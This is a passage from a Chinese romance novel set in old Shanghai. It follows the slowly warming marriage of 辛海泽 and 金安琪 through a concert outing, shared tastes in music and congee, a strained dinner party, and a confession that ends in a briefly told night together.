「我知道了,我会尽快带安琪出现在公共场合。」他没考虑到她的面子是他不对,不过话说回来,他也没想到事情会发展到如此地步。

「选日不如撞日,就今天好了。」葛依依从皮包里拿出两张票,放在辛海泽面前,甜甜地建议道。

「今天法国公园有举办露天音乐会,你就带安琪去听音乐会吧!她一定会很高兴。」她学过钢琴,又那么喜欢音乐,最适合出席这类盛会。

「妳连票都准备好了?」辛海泽其实很感激葛依依,是他太粗心,没有考虑到安琪的感受,她一定很希望他能陪她。

「当然,大木头。等你想到,可能都已经是冬天的事,到时哪来的露天音乐会?」工部局乐队只在夏季举行露天音乐会,冬天只能换到戏院里面去听、气氛自是大大差了一截。况且那些爱嚼舌根的先生、太太们,也比较喜欢出现在露天音乐会,有点像是社交界大拜拜,先拜先赢。

「妳不去吗?」既然是大拜拜,她这捣蛋鬼不去就太可惜了,少看了好多笑话。

「不去,那地方不适合我。」葛依依朝辛海泽做鬼脸。很奇怪,辛海泽个性虽然沈默,却和葛依依很合得来,也十分能容忍她的恶作剧。

「好了,任务达成,我该走了。」葛依依当完说客就要拍拍屁股走人,临走时又回头交代辛海泽。

「记得别告诉安琪你是要带她去听音乐会,只要请她准备好回去接她,剩下的话别多说。」

「为什么要这么做?」他不懂。

「给她惊喜啊,笨蛋!」葛依依骂他。

是吗?原来惊喜这么重要,他受教了。

「真受不了你。」葛依依翻白眼,随意跟他挥了一下手,而后离开他的公事房,逛大街去。

待她走后,辛海泽拿起桌上的音乐会入场券,盯着它们看了一会儿,随手拿起电话。

「喂,颜妈吗?请太太听电话。」辛海泽理所当然是打给金安琪,邀请她去听音乐会。

「是老爷啊?您稍等一下,我马上去叫太太。」姆妈放下听筒转身喊人,不久后,便传来金安琪略显急促的声音。

「安琪,是我。」他很少打电话回家,有点不知道怎么问候自己的太太。

「我知道。」她也不习惯和他讲电话,两人都需要从头学习。

「妳今晚有事吗?」他干咳两声问。

「没事。」都被禁足了,哪还会有事。

「那么,妳先打扮好在家等我,我下班后回家接妳,然后一起去一个地方。」他按照葛依依的指示,搞神秘。

「我们要去什么地方?」她一听见「一起」两个字就口干舌燥,心跳不已,胸口溢满了期待。

「暂时不能说。」辛海泽差点说出口。「等我们到达那个地方,妳就知道了。」

「可是……」

「我们待会儿见。」为了怕自己会当场露馅,辛海泽只得匆匆忙忙挂上电话,将入场券的边缘含在嘴里微笑。

……糟了,现在几点了?要来不及了!

无意间瞄到腕间的浪琴表,上面显示出已经下午三点,而音乐会是晚上七点开始,他必须及早准备。

为了能完美地出现在金安琪的面前,辛海泽放弃回家梳洗,而是直接去西装店买了一套全新的白色三件式西装,再买了一双新皮鞋,带到饭店去换洗。

他大费周章地打扮,调整又调整,直到确定一切都很好,才拿起金安琪送他的白色帽子戴上,自信地上车。

当他回到家里,已经六点钟,金安琪也早已打扮完毕,在客厅里面等他。而当他们眼神交会的剎那,空气中彷佛弥漫着一股香味,想必是恋爱的味道。

「我们走吧!」辛海泽朝金安琪伸出手,翩翩风采宛如王子,引来公主全心爱慕。

「好。」金安琪将手交给辛海泽,童话故事就此进入另一章,一个更美的开端。

沿途金安琪不时瞄着他的侧脸,觉得他好英俊。他今天似乎特别打扮过,头发梳得特别整齐,身上那套白色西装她也没见过,和她送他的帽子刚好配成一组,看起来既帅气,又时髦,同时又能吸引人的目光。

金安琪不知道他们要去哪里,需要如此盛装打扮。但她猜测多半是要去参加派对,或是更正式的聚会,不然他不会如此大费周章。

只可惜,她都猜错了。

他们既不是要去参加派对,也不是要参加聚会,而是出席露天音乐会。

「这……」

「我想妳有学过琴,应该会喜欢听音乐会。」他借花献佛,将葛依依的话重复一次。

「是的,我喜欢,谢谢你。」她一点也不在意他是否借花献佛,只在乎他的用心,他居然带她来听音乐会!

「那不是辛海泽和金安琪吗?他们也来听音乐会了。」

「不是说他羞于带她出门,结果好像也不是这么一回事嘛!」

「搞了半天,原来是谣言啊!」

「真是无聊……」

飘过半个大上海的流言,也在他们公开现身在露天音乐会后止住。任何人都可以从他们的眼神看出来,他们正在恋爱,谁还会相信这些无聊的流言?

音乐会在两个钟头后结束,金安琪经历了这场音乐的洗礼之后,显得相当开心,不断向辛海泽道谢。

「谢谢你带我来听音乐会,我好喜欢今晚的音乐。」即使已经坐上车,她仍然忘不了刚才的感动,她还站起来跟大家一起喊「安可」,感觉棒极了!

「妳快乐吗?」他看出她真的很喜欢听音乐会,以后应该常带她出入这类的场所才对。

「快乐。」她毫不隐瞒的回答,感动全写在眼底。

「快乐就好。」只要她快乐,做什么牺牲都值得,即使她从头到尾都没有看他一眼,他还是感到很欣慰。

「嗯。」他错了,其实她多看了他好几眼,只是不敢光明正大的看,只得使些小技巧,其实她可是把他从头到脚都看清楚了呢!

「妳累了吗?」遗憾的是,他观察力不够敏锐,总是错过她爱慕的眼神。

「累了。」但是没关系,她至少学会诚实,不再用虚伪的字眼,掩饰自己的感觉,单单这一点,就值得庆贺。

辛海泽悄悄地揽过她的肩膀,让她的头靠在他的胸口上休息,大大吓了金安琪一跳。

「如果累了,就睡一下,到家我再叫醒妳。」他的举动,显得如此刻意却又自然,金安琪的脸都红起来。

「好。」她说得小小声,感觉声音都要在他的心跳之间淹没了,再也听不见自己说什么。

最后她才发现,原来他的心跳声,才是天底下最好听的音乐!

好动人……

音乐会结束,他们之间的火花也跟着结束,这真是个奇怪的发展。

他们的感情眼看着就要迈入新一页,可很不幸地,每当他们总觉得事情有希望的时候,又会裹足不前,而且两个人都是如此。

辛海泽和金安琪都觉得很伤脑筋,尤其是辛海泽,开始觉得烦躁,气自己为什么无法好好把握机会,或者每一次机会都必须藉由外力帮他创造,自己反倒无能为力。

接二连三的挫折感,反应在他忽而明、忽而暗的脸色上,间接带给金安琪极大的压力。

「这是亚尔西爱胜利公司的新产品,尔宣计划明年引进,我先买一台回来给妳解闷。」

他只会不间断地送东西给金安琪,今天是一支钻石发夹,明天是一整排的书,这会儿搬了台橱柜型的无线电唱机回来。

「可是家里已经有留声机了。」她很感谢他的好意,但她实在厌倦了不停收礼物,心却越离越远的日子,到底要怎么做,他们两人之间的距离才能拉近?

「那台已经买很久了,该淘汰了。」辛海泽要搬运工人先将原来的留声机撤走,再将新的无线电唱机放到留声机原来的位置。

辛海泽走到无线电唱机前面,转动某个按钮,小提琴优美的琴音瞬间倾泄而出,环绕整座客厅。

「这台无线电唱机不像过去的旧型留声机,还得用手摇,只要将唱片放进去就可以了,而且还能自动换片。」辛海泽将七张十二寸唱片一一放进电唱机里,就看见它好似变魔术一样一张接一张换,恍若川剧里头的变脸,有趣极了。

「最重要的是,它还包含了无线电。」辛海泽又转动一次刚刚的按钮。「以后妳想收听电台播放的洋曲儿,只要直接打开这个按钮,再调整一下就可以了,非常方便。」

他设想得很周到,知道金安琪喜欢听交响乐或是钢琴奏鸣曲那些西洋音乐,特地帮她买了一台最新型的无线电唱机,让她好好听个够,省得一天到晚用手摇,或守着房里那台收讯不良的无线电,对彼此都是一种折磨。

「谢谢你,这台无线电唱机应该值不少钱吧?」又是胡桃木制,又能自动换片,应该很贵。

「还好,八百多元而已,妳应该很习惯这个价钱。」早期的留声机也不便宜,她娘家的客厅就摆了一台比这台还要豪华的留声机,折合当时的物价,恐怕还远超过这台无线电唱机。

「你明明知道我家的情形。」外表亮丽,实则空虚,金安琪整个身体僵住。

「对不起,是我说错话。」他暗暗诅咒一声,他一定是疯了,才说这种话刺激她。

「没关系,这本来就是事实。」她还记得,当她父亲得意洋洋地告诉她们母女,那台留声机值多少钱的时候,她妈咪都快要昏倒了,足足够她付好几年的学费。

这些痛苦的往事,随着辛海泽残酷的言语,一一浮上心头,成了最不堪的回忆。

辛海泽尴尬地站在原地,他也不知道自己为什么要说这些话?只是心头那股挫折感,让他不由自主的想要……攻击她,他真是罪该万死。

「我先走了,公司还有事。」他既开不了口说抱歉,只得以逃避当做结尾,况且他也真的只是为了安装无线电唱机才回家,还得回公司上班。

「嗯,你去忙吧!」金安琪勉强微笑,不让他的话击垮她,她已非昔日的金安琪,这点挫折算不了什么。

她越是表现出坚强,辛海泽越有罪恶感,逃离的脚步也就越急。

金安琪脸上的微笑,在辛海泽的背影消失后,瞬间垮了下来。

他们这种情形还要维持多久?

她不知道。

他们之间似乎总有一道无形的门隔着,而且钥匙掌握在他手里,他若不肯转动手中的钥匙,谁也拿他没辙,谁也开启不了那道门。

金安琪重重地叹一口气,决定暂时先别想这么扰人的问题,先研究无线电唱机再说。

她其实是个好奇心很重的女孩,只是自小的严格教育,将她的好奇心严密控制住,一旦周遭没人,她潜藏在内心的好奇心,便会一股脑儿地冲上来,催促她去探险。

现在显然就是一个探险的好时机。

金安琪走到无线电唱机前面,好奇地弯下腰东摸摸、西看看。现在市面上卖的一般还是留声机,无线电唱机仍在少数,尤其像这种可以自己自动换片的无线电唱机,更是绝无仅有,看来有个开洋行的朋友还真是好处多多,都可以用到新鲜货。

金安琪按照着辛海泽方才教她的操作方式,先转动无线电的收听钮,调整了一下频道,果然就听见优美的圆舞曲,成串地倾泄而出,而且音质非常好,都不会有杂音。

她接着又转动按钮,好奇它能接收到几家电台,不期然听见无线电里传来:「三魂渺渺,三魂渺渺,七魄幽幽,七魄幽幽,阎王教人三更死,并不留人,并不留人到五更!」

重迭的字句,哀怨的唱腔,都说明那是申曲。金安琪立即停止转台,聚精会神的聆听。

是……是申曲呢!

她左顾右盼四处张望,就怕被人发现她在听申曲。

申曲是上海人普遍喜爱的地方戏曲,又称花鼓戏,好多电台成天播申曲,但她父亲从来不许她听,说是内容太粗俗、太暧昧,不适合她这种名门千金,怕她会学坏,但他哪里知道,她早就已经学坏了。

刚刚那首鬼影幢幢的曲子播完,紧接着播放的是相当受欢迎的曲子:「庵堂相会」。

这个故事就比刚才那首曲子来得浪漫多了,是在讲一个豪门千金爱上寄住在庙里面的穷书生的爱情故事,而且这位豪门千金恰巧叫金秀英,跟她同姓,因此她特别感同身受,总容易为她抱不平。

她听得入迷,根本没听见车子熄火的声音,直到门口传来脚步声,她才急急忙忙地转台。

「你、你怎么又回来了?」她满头大汗地调整手中的旋转钮,越急越调整不好。

「我、我真的很抱歉。」她原本是想调整回原来的音乐电台,结果又调到另一个申曲台去,这会儿播放的曲子内容可比「庵堂相会」的内容刺激千倍,是一首描写男女偷情的露骨曲子,害她满脸通红。

辛海泽走过去将无线电关掉。他因为忘了带文件回头拿,没想到就看见这么有趣的画面,若不是巧合,还真碰不到呢!

「没想到妳也会听这种曲子。」他挑高眉看着一脸尴尬的金安琪,后者的脸红得像关公,头几乎垂到地上。

「我……」惨了,居然被现场抓到她在听申曲,他一定认为她不是淑女……

「我也喜欢听申曲,尤其是『庵堂相会』。」他出人意表的说出这句话,金安琪惊讶的张大嘴巴。

「啊?」他说什么?他也喜欢听「庵堂相会」……

「或许我们之间的差距,没有我想象中来得大。」他想通了!他之所以老是裹足不前,是因为他始终觉得自己是高攀,始终觉得自己配不上她。

她喜欢的一切,都是他不熟悉的。

她喜欢交响乐,喜欢看歌剧,喜欢闲来无事写写诗,朗诵一些英文诗句,这些都不是他习惯的生活方式,因此他觉得焦虑。

他怕自己跟不上她的脚步,怕自己会因为一个细节没照顾好让她失面子,也因此他下意识不愿带她出席公众场合,不是因为怕她丢他的脸,而是正好相反,怕自己不小心,丢了她的脸。

可现在!

他终于知道,原来他们是可以没有距离的。只要打开心胸,不被成见遮蔽住眼睛,他还是可以深入她的内心世界,探索更多的可能,这一切都可以从一首最通俗不过的申曲开始!

「海泽──」

「我去上班了。」

这全新的体会,让他绽放出会心的一笑,也让生活有了新改变。

「好……好,bye-bye。」她看着他拿起文件,朝门口走去,英挺的背影没变,但脚步似乎轻快了许多,一如她的心情。

我也喜欢听申曲,尤其是「庵堂相会」。

原来,他也喜欢听「庵堂相会」啊!

金安琪忍不住雀跃。

那么,不知道他喜不喜欢听「绣荷包」?

那也不错。


「白糖莲心粥」的香味飘散在空气中,味道不十分浓烈,金安琪却闻到了。

但见她拉起洋装的裙襬,「咻」一声冲到厨房,差点没把姆妈吓死。

「颜妈,妳在煮粥啊?」金安琪极感兴趣地看着姆妈用力搅拌锅里面的粥,虽然只是加白糖和莲心,就够好吃的了。

「妳喜欢喝莲心粥?」姆妈打趣地看着金安琪,她一脸馋相。

「都快流口水了。」她最喜欢吃白糖莲心粥,味道淡淡的,却十分爽口,是非常适合夏天食用的粥品。

「妳还真是贪吃哪!」姆妈相当惊讶金安琪的反应,她很少这么直接的,总是非常婉转客气,不是不好,就是太生疏,给人一种距离感。

「真不好意思……」金安琪低头忏悔,姆妈却摇头。

「没有什么不好意思的,有什么话,本来就该直接说出来。如果一味放在心上,只有妳自己知道,可是会错过很多好事,那多可惜?」

姆妈不晓得是在感叹,还是话中有话,总之金安琪直觉地想到姆妈是在说她和辛海泽,他们都是那种很会隐藏心事的人。

「就像妳喜欢喝莲心粥,喜欢喝,是一件很好的事,大大方方说出来不就得了吗?干嘛考虑这么多?」

姆妈确实是在指他们,只是不好明讲,干脆用白糖莲心粥代替,也算是老人家的智慧。

「香喷喷的粥谁都爱喝,若是考虑太多,粥就冷掉了。」说到这里,姆妈还特地搅拌了一下锅子里头的粥,强调热度的重要。

金安琪考虑自己该不该听从姆妈的话,鼓起勇气向辛海泽表白。但万一他拒绝她又该怎么办?她这张脸要往哪里摆?她已经什么都没有了,只剩下自尊,如果连自尊都失去,她要怎么活在世界上?还是不要向他表白好了,但是姆妈又说粥要趁热喝,这可怎么办才好……

「妳们在干什么?」

正当她在要与不要的关口上徘徊的时候,辛海泽突然出现的身影,把她和姆妈都吓了一大跳,两个女人忙着抚胸口压惊。

「我们、我们──颜妈在煮粥,我在旁边看。」她才不好意思告诉辛海泽,她正在想该不该向他表白,太丢脸了,她说不出口。

「老爷,你什么时候回来的,怎么都没有听见开门的声音?」厨房就在客厅后面,就算中间隔着一间饭厅,也理当听得见,但今天连一点声响都没有。

「几分钟前。」他盯着金安琪,她的脸好红。「我一进门就喊妳们了,但没人回答,我还在想妳们是不是到院子里头去喝午茶去了,结果全在这儿。」

想必他刚才回来的时候,姆妈正好在传授她「喝粥趁热」的道理,难怪她们没听见。

「颜妈煮了一锅莲心粥,你要不要尝尝看?」实在被盯得不好意思了,金安琪连忙转移话题。

「好啊!」他也满干脆的。「夏天喝粥,有益脾胃,给我一碗好了。」

姆妈于是赶紧盛了一碗莲心粥给辛海泽,再盛一碗给金安琪,自己最后也喝了一碗。

金安琪吃得津津有味,眼尖的辛海泽立刻明白怎么回事,吃完粥后放下碗和汤匙说:「我知道了。」

是「知道」了,而不是「吃饱」了,姆妈和金安琪对看,都不明白他是什么意思,可能是口误吧!

隔天,雨下得很大。

倾盆的大雨哗啦啦地倒进大上海,就看见街上忘了带伞的人忙着躲雨,有带伞的人一样被淋得一身,每个人都难逃风雨的伺候。

「我回来了。」辛海泽淋了一身湿,一边进门还一边滴水,姆妈见状都叫起来。

「哎呀,老爷!你是不是忘了带伞,怎么淋得浑身湿透?」姆妈说着说着,就要冲进浴室拿干毛巾,却遭辛海泽阻止。

「妳先把这个拿去热一下,我直接上楼洗澡。」辛海泽不担心自己的身体,反倒比较担心手上的布包,要姆妈无论如何都先将它处理好。

「什么东西先热一下?」姆妈一头雾水地打开布包,是一个小锅子,里头装着曾经热腾腾,但是现在已经冷掉的白糖莲心粥。

「是李大婶的白糖莲心粥哪,老爷真有心!」姆妈对一旁好奇观看的金安琪喊道,金安琪惊讶地瞪大眼睛。

「李大婶?」她差点说不出话。

「就是李大婶。」姆妈用力点头。「别看她的摊子小小的,可永远有人排队等着买她特制的白糖莲心粥,老爷一定是在大雨中排了很久的队,才买到这锅粥,真难为他了。」

原来他昨天那句「知道了」,是说给金安琪听的,当时他早已下定决心,无论如何都要买到李大婶特制的白糖莲心粥,因为她爱喝。

「太太,老爷对妳可真好,妳说是不是?」姆妈暗示她应该有些动作,别辜负了辛海泽的好意,金安琪望着空无一人的楼梯口,脸都红起来。

「我、我要怎么做?」才算不辜负他的好意……

「喝粥就要趁热,这个道理妳还不懂吗?快去!」姆妈实在看不过去了,两手硬是将金安琪推上楼梯,最少也得道谢嘛!

金安琪半推半就地来到辛海泽的房门口,手抚着胸口,感觉心就要跳出来。

「喝粥就要趁热。」她用姆妈这句至理名言,鼓励一下自己,抬起手敲门。

叩叩叩!

辛海泽已经冲完澡,正在擦头发,不期然听见敲门声,以为是姆妈,结果是金安琪。

「我是来说谢谢的。」她的脸红得像苹果。「谢谢你特地为了我去买白糖莲心粥,还被雨打湿……」

她显得很困窘,不知道还能说什么。但对辛海泽来说,这已经够了,至少她主动找他,仔细想想,这还是她第一次敲他的门呢!

「我接受妳的道谢,还有呢?」他趁着这难得的机会跟她开玩笑,谁知道──

「还有……」她深吸一口气,走到辛海泽面前,踮起脚尖亲他的面颊,辛海泽当场愣住。

「喝粥就要趁热。」她喃喃自语,好高兴姆妈教给她这个道理。

「安琪!」等他回神,金安琪已经一溜烟不见,只留下她轻似鸿毛的亲吻。


「又输了!」

傅尔宣重重甩了一下球杆,哭丧着宣告他不知道第百几次的输球,蓝慕唐潇洒地拍拍他的肩,遗憾地说他从来没赢过,要他节哀。

一伙人打打闹闹,在弹子房待了一下午,大家都看出辛海泽的心情不错,嘴上时常带着笑意,和过去的忧郁王子形象相差岂止千万里,简直判若两人。

于是,蓝慕唐提出要去他家吃饭的要求,这算是惯例,韦皓天和傅尔宣也曾作东,请大伙儿到家里吃饭。

他们之所以如此安排,一来是增添热闹气氛,二来是加强家庭彼此间的联系。他们可不想象外头的男人,一结婚就忘了朋友贵姓,五龙的称号和情谊,对他们五个人来说比什么都重要,那代表一种不容挑战的团结。

「怎么样,可以吧?我们也想进一步认识嫂子。」蓝慕唐知道辛海泽最注重家庭气氛,虽然嘴巴上不说,但内心其实很渴望和金安琪组成一个温馨的家庭,他们的造访,刚好可以创造出家庭的气氛,对他们夫妻也是有帮助的。

「没问题。」辛海泽代金安琪点头,对两人最近的相处很有信心,也希望能藉由好友们的造访更进一步。

「太好了!」

大家约好星期六晚上到辛海泽家里用餐,当他把这个消息告诉金安琪,要她提早准备时,她整个人都呆了。

「他们要来家里吃饭?」

「嗯,只有他们四个人而已,蔓荻和依依都有事不能来,妳不必准备得太丰盛,几样菜就可以了。」他们最主要的目的是来看她,帮助她融入他们的圈子,餐点只是其次。

「……我知道了,我会及早准备。」金安琪显得很紧张,这是她第一次招待客人来家里吃饭,有好多事需要准备。

「不必准备太多,够吃就好。」他不知道她在紧张什么,他所有的朋友她都见过,她和依依还是好朋友,没有理由这么着急。

她当然着急。

撇开第一次宴客不讲,她虽然见过其他四龙,但也都只是微笑点头,根本不算真正认识,更何况他们都是这么了不起的人物,万一她要是搞砸了,那该怎么办,岂不是丢了他的脸?

无论如何,她还是必须硬着头皮,筹备这次餐会。

虽然辛海泽一再强调这是个小型的聚会,她还是希望凡事能尽善尽美,因此她整整忙了六天,从星期一忙到星期六,从餐巾的搭配忙到餐后的洋酒,没有一件事不是一再推敲,唯恐漏掉任何一个细节。

时光飞逝,很快就来到星期六。

金安琪极为尽责地招待四龙,表面上看起来很合宜,态度却十分僵硬拘谨,连最会讲笑话的蓝慕唐,都没有办法让她放松。

「我去帮你们准备餐后酒,你们慢聊,我先失陪了。」

最糟的是,她明显躲着他们。

用餐期间她就已经坐立难安,等正式聚餐一结束,她立刻起身借口张罗他们的餐后酒,跑到厨房。此举让辛海泽觉得很尴尬,原本还算愉快的脸色迅速崩坏,蓝慕唐只得快点出面打圆场。

「也许嫂子只是不习惯,过一阵子就好了。」

「依依刚开始的时候不也是一样,吃完了饭就往外跑。」更惨……

「那是因为有维钧在场的关系,一旦少了维钧,她就跟我们嘻嘻哈哈。」沟通完全没有困难。

「依依怕维钧,难道安琪也怕维钧?她只是不习惯。」

「我们也有错,突然间就登门拜访,她一定觉得很困扰。」

「是啊!」

大家卯起来帮金安琪辩解,只见辛海泽的脸色越来越沈,心情越来越不好。

情况已经够艰难了,金安琪竟在送完了餐后酒以后,便闪到另外一间起居室,一个人待在那里。

毁了!

四龙们抱着发疼的头,再也想不出任何掩护金安琪的理由。

「呃,海泽……」

「不必说了,我都了解。」辛海泽冷着一张脸,为金安琪今晚的表现下定论。

四龙们你看我、我看你,不明白事情怎么会演变成如此,他们完全是一番好意。

谁也想不到,原本和乐的气氛会因为一场简单的餐会破坏殆尽,真是始料未及。
剧情急转直下,气氛由原来的一团和气,转为阴风阵阵,连姆妈都不敢说话。

金安琪更不用说。

她比任何人都更不明白,为何餐会过后,辛海泽的脾气会突然变坏,每天都是一张冷漠的脸?

她已经依照他的指示,办了一场成功的餐会,餐点也很好吃,酒也选得恰到好处,他还有什么不满意的地方?

金安琪百思不解,一点都不明白问题在于她的态度,而非餐会的细节,这是辛海泽对她不满的主因,她明显不想参与他的人生。

这天,辛海泽很早就去公司,留她一个人待在家里。

她无聊地翻着「玲珑杂志」,里面有很多美容方面的讯息,但她一点都没有兴趣。她之所以会看这本杂志,是因为里面有时候会有女性读者投书,教人夫妻相处之道。这对她来说很重要,因为她真的不懂该怎么跟辛海泽相处,需要一点参考。

叮当叮当!门口传来电铃的声响,姆妈刚好去买菜,看来得自己开门了。

「来了──」

「您好。」

一个头发梳得光亮,有抹了过多发油嫌疑的男人,就站在大门口对着她微笑。

「您好。」她并不认识这个人。「请问您是……」

「我是『隆昌实业』的代表,敝姓杨,这是我的名片。」陌生男子从口袋里面掏出一张名片,交给金安琪,她双手接过名片,还是不懂他要干嘛。

「本公司是专做美容生意的,最喜欢照顾像小姐您这样的美女。」陌生男子不只发油抹得够多,一张油嘴也够滑溜,赞美起人来都不会不好意思。

「呃,谢谢您。」金安琪被迫道谢。

「要维持像您这样的美貌一定得费不少心思吧?美颜水、雪花膏一定是免不了的,另外也得扑点粉,抹点口红,这些都是美女梳妆台上的必需品,也是小姐、太太们的好朋友,小姐您一定也有吧!用什么牌子的?」陌生男子左一句美女,右扯一堆美颜水什么的,最后还问她使用的牌子,这人分明就是跑街先生。

「我没有使用任何一种固定的厂牌……」这下糟了,居然遇见专门推销美容产品的跑街先生,这下该怎么脱身?

「小姐,您真是内行!」陌生男子训练有素,无论金安琪讲什么话,他都有办法接口。

「本来像这些东西,就不能使用固定厂牌,不过妳倒是可以试试本公司的产品,包准您用一回满意,用两回生笑,用三回从此爱上,这是我们公司最新出品的雪花膏,您闻闻看。」

陌生男子说着说着,果然立刻从摆在地上的小皮箱,取出一瓶黄色盒身的雪花膏,硬要金安琪闻。金安琪为难地看着他手上的雪花膏,光从瓶身就可看出那是劣质品,刺鼻的味道让金安琪差点吐出来。

「谢谢您,不用了。」她左闪右躲,就是躲不掉陌生男子的纠缠。

「要不试试这条口红,也是最新出品,玫瑰色,颜色非常漂亮。」陌生男子不屈不挠,继廉价雪花膏之后,接着又拿出廉价口红,一样令金安琪想吐。

「真的不用了……」

「您试试看嘛,啊?」陌生男子硬是要帮她涂口红,摆明了吃她豆腐。

「我不要……」她往后倒退几步躲避陌生男子的手,他又趋前。

「我帮您涂抹──」

「你想干什么?」

陌生男子见金安琪颇具姿色,又独自一个人在家,就想欺侮金安琪,没想到辛海泽会突然回来,像座大山似地把他压住。

「我、我、我……我告辞了!」陌生男子承受不了辛海泽的压力,狼狈不堪地从地上拿起皮箱,飞也似地逃命。

「这是怎么回事?」现在压力换在金安琪这边,必须一个人单独承受辛海泽的怒气。

「没什么,只是一个跑街先生……」不要误会……

「跑街先生?」听见这称呼,辛海泽的眉头都皱起来,不明白他是怎么混进来的,前方的铁门那边明明有守卫。

「嗯。」她无力的点头。「我一开门,他就不断地拿出东西推销个没完,我根本不想买他的东西。」况且到最后,他还很不礼貌,她更不可能跟他买东西。

「妳为什么不直接拒绝?」他从她身边走进客厅,边走边松开领带,金安琪只得跟在他身旁解释。

「因为我不知道该怎么拒绝……」她所受到的教育都是服从,没人教过她怎么说不,她也不会说不。

「就像妳不知道该怎么拒绝我的求婚一样?」辛海泽突然停下脚步,转身面对金安琪,她完完全全愣住。

「啊?」怎么会扯到这方面来……

「不对,我根本没有求婚,我只是用钱买下妳,而妳不懂拒绝,所以才跟我结婚,是不是这样?」就算当初出价的人不是他,是别的男人,她一样会跟他结婚,这点最教辛海泽生气。

「不是这个样子的!」她或许是因为迫于情势才跟他结婚,但她同时也对他一见钟情,只是说不出口。

「那是什么样子?」她口口声声说不是这个样子,但又说不出个所以然来,只会沈默。

「我……」她果然沈默,果然开不了口,辛海泽见状不文雅的诅咒,感觉情绪就要爆发。

「我先上楼冲澡了。」他要把这愤怒的情绪冲掉,不然他不知道怎么再继续与她相处。

「等一下──」

「别跟上来。」辛海泽警告金安琪。「除非妳想上床,否则别跟上来,后果恕不负责!」他没有把握能够永远保持理智,留在他心头的伤口太痛了,让他痛得想要伤人,这个时候最好不要靠近他。

话毕,辛海泽便上楼回他的房间。他用力扯下领带丢在床上,接着把西装也甩在床上,可见他有多愤怒。

在楼梯口呆立的金安琪也一样愤怒,他怎能如此污蔑她?这根本不是她真正的心意。

有什么话,本来就该直接说出来,如果一味放在心上,只有妳自己知道,可是会错过很多好事。

姆妈的一席话,点出了重点。

她就是凡事都放在心里,才会引起误会,才会让海泽以为,她根本不喜欢他!

咬紧下唇,提起脚步朝二楼走去。她决定这次再也不当听话的好女孩,他想上床就上床吧!但她一定要让他知道,她并非他想象中那种凡事不敢拒绝的弱女子,这次她就要对他的命令说「不」,看他怎么接招。

「我有话对你说!」她知道从外面敲门他不会开门,干脆就从他们房间相连的门进去,这扇门从来不上锁。

「出去。」他正烦,别惹他。「我说过──」

「除非我想上床,不然别跟上来。」她抬高下巴,把他的话重复一次,只见辛海泽的脸暗下来,似乎不太确定她是说真的。

「妳是说,妳已经有心理准备?」他猜测她只是一时冲动,不过这不像是她的个性。

「我一向都有心理准备。」冲动的确不是她的特性,但是如果有必要的话,她会冲撞得比谁都猛烈!

「安琪。」

「我已经受够了像这样暧昧不明,而且今天我一定要把我的感觉说出来,我并不是因为无法拒绝才跟你结婚,我是因为喜欢你才跟你结婚,尽管你并没有求婚!」她要一次吼个痛快,把她今生的委屈都吼出来,再也不要放在心底。

「安琪……」

「或许就像你说的,我没有办法拒绝这门亲事,因为我父亲用母亲的牌位威胁我,让我没有选择。」说来可笑,仅仅只是一个牌位,就可以让她付出后半辈子,她母亲若地下有知,一定很痛心吧!

「我真的觉得很屈辱,被人像畜牲一样拍卖。」剧烈的痛楚,至今她仍忘不了。「但是当我在拍卖会,看见买下我的人,我的内心居然开始窃喜,想想更丢脸。」

这个出价的男人就是辛海泽,她几乎在看见他的那瞬间便爱上他,所以她才会慌,才会不知所措地挥开他的手,全是因为她对他一见钟情,下意识所做出来的反应。

「我以为妳不喜欢我。」对辛海泽来说,这一连串的表白无疑是当头棒喝,他居然还得让她先开口。

「我喜欢你。」她困窘地承认。

「但是妳的表现不像。」这也是他迷惑的原因。「我以为妳觉得和我在一起很羞耻,觉得我配不上妳,所以才会一再逃避。」

「你怎么会这么想?」金安琪看着他,不知道他哪来的想法,差太多了。

「不然为什么妳不肯招待我的朋友?」这件事让他很在意。「难道不是因为妳不想融入我的生活,认为当我的女主人很丢脸,才会自己一个人躲到起居室去,不跟我们接触?」

「我、我才不是因为你说的原因而躲到起居室去。」天大的冤枉,他根本弄错了。

「那是因为?」

「那是因为我怕丢你的脸,干脆跑到起居室躲起来,免得自曝其短。」她咬紧下唇,似乎还在为那晚的事感到痛苦,她好像做了一个错误的决定。

「安琪?」她到底在说什么?

「你们说的那些事我都不懂,什么上海的电力供输、煤球的供应量,和南京路的房地产价格波动,这些我都没研究,没办法参与讨论。」她怕万一他们要是问起她的意见,她答不出来,大家就会知道她有多肤浅,间接害辛海泽丢脸,只得选择逃避。

「蔓荻和依依她们也都不懂,妳实在不该如此介意的。」没有人要她参与讨论,即使只是静静聆听,都能给他一种满足感,不需要勉强自己。

「我那时候不晓得嘛!」她不好意思的低下头,承认她做错了。「下次要是再有机会,我会有不同的表现。」

他们总是不断地误解彼此,不停地猜测彼此的心意,但结果总是出人意表,他们其实都爱着对方。

「是我不对,我不该莫名其妙的发脾气,带给妳压力。」直到此刻,他才知道自己错得有多离谱,有多委屈她。

她摇摇头,心跳加速地看着他朝她走来,彷佛又回到她初见他的那一瞬间,有种令人窒息的心动,跟随他的脚步跳跃。

「但是我还是有疑问。」她不想这个疑问放在她心里一辈子,她要知道答案。

「什么疑问?」他捧起她的脸,曾经必须花费很大力气才敢做的动作,如今却变得那么轻而易举。

「你到底为什么娶我?」这个问题每每打扰她的睡眠,让她一夜反复到天明。「是因为同情?怜悯?还是──」

她接下来的疑问,全尘封在辛海泽既温柔也热情的吻之中。

她惊讶地张着小嘴,辛海泽又覆上去。这次,他不再单纯只是让她体会亲吻的滋味,他也要让她知道什么是男人。

「我说过,除非妳要上床,否则别跟上来。」

接下来,就看见他将衣服一件一件脱掉,其中当然也包括金安琪的。

结婚这么久,经历了这么多事情,也该是时候了。


虽然说他们已经有了亲密关系,她也已经向辛海泽表白,但金安琪仍不了解辛海泽,他始终没有真正打开心扉。

刚开始的时候,金安琪觉得很挫折,但后来想想,自己也花了一段很长的时间才摆脱过去的阴影,也就不再着急。

凡事总要一步一步来,尤其是心态这种东西,光用道理分析,是行不通的,只能耐心等待机会。

金安琪相当想得开,也愿意等待时机,只乞求这样的机会快点来临。

只是寂寞难耐。

夜晚家庭气氛浓厚温馨,和白天的空荡荡呈强烈对比。直到现在金安琪才知道,为什么有这么多家庭主妇喜欢聚在一起打牌,因为总不能天天逛街,打牌似乎成了最好的消遣。

金安琪对打牌没兴趣,书也看腻了,想来想去找不到娱乐,干脆收听无线电,也许会听到什么有趣的节目。

